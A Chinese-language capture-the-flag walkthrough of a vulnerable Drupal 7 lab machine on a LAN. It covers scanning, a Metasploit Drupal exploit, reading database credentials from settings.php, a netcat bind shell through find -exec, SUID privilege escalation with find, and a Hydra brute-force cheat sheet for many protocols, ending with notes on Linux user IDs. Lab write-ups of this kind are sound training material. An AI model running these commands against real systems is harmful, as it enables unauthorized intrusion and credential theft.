环境:
kali:
ifconfig #得到:192.168.0.115
局域网探测:
arp-scan -l #需要root权限执行,靶机IP:192.168.0.119
nmap扫描:
nmap -sP 192.168.0.1/24 #扫描Ip段的所有Ip地址
nmap -A -p1-65535 -T4 192.168.0.119 扫描端口,查看端口信息
80端口开放,使用浏览器访问查看一下
80服务用的是drupal 7 我们就可以找他的漏洞了
启动Metersploit来查看漏洞并利用漏洞
msfconsole
寻找关于 drupal 的模块
search drupal
用2018年的漏洞的测试
use 对应模块
show options 查看信息
set rhosts 远程主机ip
run 攻击
exploit 攻击
设置:
运行:
攻击拿权:
在网站根目录,这里能发现flag1.txt
drupal的数据库配置文件在sites/default/settings.php
cat sites/default/settings.php
查看数据库的账号密码
使用python反弹一个交互式shell
方法一:
shell #权限,不是本地,是http链接,需要一个持久链接,反弹一个交互shell
python -c "import pty;pty.spawn('/bin/bash')"
方法二:
find /var/www/test -exec nc -lvp 9999 -e /bin/sh \;
nc 192.168.0.119 9999
mysql -udbuser -pR0ck3t
show databases;
use drupaldb;
show tables;
select * from users\G
生成新的密码:
替换密码:
drupal密码
flag3提示,提权并提示 -exec,想到suid提权 find 命令
使用命令查看 suid 权限的可执行二进制程序
find / -perm -4000 2 >/dev/null
发现find命令
使用命令测试,发现为root权限
touch test
find / -name test -exec "whoami" \;
find / -name test -exec "/bin/sh" \;
提权成功:
破解ssh 可以使用 crunch 生成字典,用hydra
各协议的具体命令:
格式+示例:
1、破解ssh:
hydra -L 用户名字典 -p 密码字典 -t 线程 -vV -e ns ip ssh
hydra -l 用户名 -p 密码字典 -t 线程 -o save.log -vV ip ssh
2、破解ftp:
hydra ip ftp -L 用户名字典 -P 密码字典 -t 线程(默认16) -vV
hydra ip ftp -l 用户名 -P 密码字典 -e ns -vV
3、get方式提交,破解web登录:
hydra -L 用户名字典 -p 密码字典 -t 线程 -vV -e ns ip http-get/admin/ hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f ip http-get/admin/index.PHP
4、post方式提交,破解web登录:
hydra --L 用户名字典 -P 密码字典 -s 80 ip http-post-form"/admin/login.php:username=^USER^&password=^PASS^&submit=login:sorrypassword" hydra -t 3 -l admin -Ppass.txt -o out.txt -f 10.36.16.18 http-post-form"login.php:id=^USER^&passwd=^PASS^:<title>wrong username orpassword</title>" 参数说明:
-t同时线程数3,-l用户名是admin,字典pass.txt,保存为out.txt,-f 当破解了一个密码就停止,
10.36.16.18目标ip,http-post-form表示破解是采用http的post方式提交的表单密码破解,中的内容是表示错误猜解的返回信息提示
5、破解https:
hydra -m /index.php -l muts -Ppass.txt 10.36.16.18 https
6、破解teamspeak:
hydra -L 用户名字典 -P 密码字典 -s 端口号 -vV ip teamspeak
7、破解cisco:
hydra -Ppass.txt 10.36.16.18 cisco
hydra -m cloud -Ppass.txt 10.36.16.18 cisco-enable
8、破解smb:
hydra -L 用户名字典 -Ppass.txt 10.36.16.18 smb
9、破解pop3:
hydra -l muts -Ppass.txt my.pop3.mail pop3
10、破解rdp:
hydra ip rdp -l administrator -Ppass.txt -V
11、破解http-proxy:
hydra -l admin -Ppass.txt http-proxy://10.36.16.18
实际用户ID(RUID):用于标识一个系统中用户是谁,一般是在登录之后,就被唯一确定的,就是登陆的用户的uid
有效用户ID(EUID):用于系统决定用户对系统资源的权限。也就是说当用户做任何一个操作时,最终看它有没有权限,都是在判断有效用户ID是否有权限,如果有,则OK,否则报错不能执行。在正常情况下,一个用户登录之后(我们假设是A用户),A用户的有效用户ID和实际用户ID是相同的,但是如果A用户在某些场景中想要执行一些特权操作,而上面我们说到用户的任何操作,LINUX内核都是通过检验有效用户ID来判断当前执行这个操作的用户是否具有权限,显然是特权操作,A用户没有权限,所以A用户就只能通过一定的手段来修改当前的有效用户ID使其具有执行特权操作的权限。这里说明了下面为什么我们需要修改有效用户ID,就是想再某一时刻能够执行一些特权操作。下面在举例说明。
设置用户ID位:用于对外的权限的开发,它的作用是我们如何去修改有效用户ID,在后面的例子中在展开。
保存设置用户ID(SUID):是有效用户ID副本,既然有效用户ID是副本,那么它的作用肯定是为了以后恢复有效用户ID用的。